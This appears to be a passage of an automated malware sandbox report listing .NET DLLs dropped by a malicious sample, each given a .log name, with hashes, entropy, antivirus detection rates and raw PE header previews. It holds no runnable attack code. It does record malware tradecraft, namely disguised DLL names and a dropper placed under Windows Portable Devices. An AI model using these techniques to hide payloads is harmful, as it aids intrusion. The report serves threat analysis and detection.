Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ThTkHCsg.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UiPBOzEN.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WghbylMW.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WkCjjiJI.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YHzZGaLE.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\ZVhzqwUB.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bCsHMMhI.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bKbarvIN.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\bOwictFz.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\dQjRxcKu.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\evHqyJTG.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fJpQiebD.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\fsiyTJhB.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gBOhFpUn.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gTVzTLOq.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hlxhFGTz.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\hvVhpsmw.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kGnywIde.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\kokPbpXu.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lpgghmkb.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ojlgiVNo.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\rURxpiYh.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
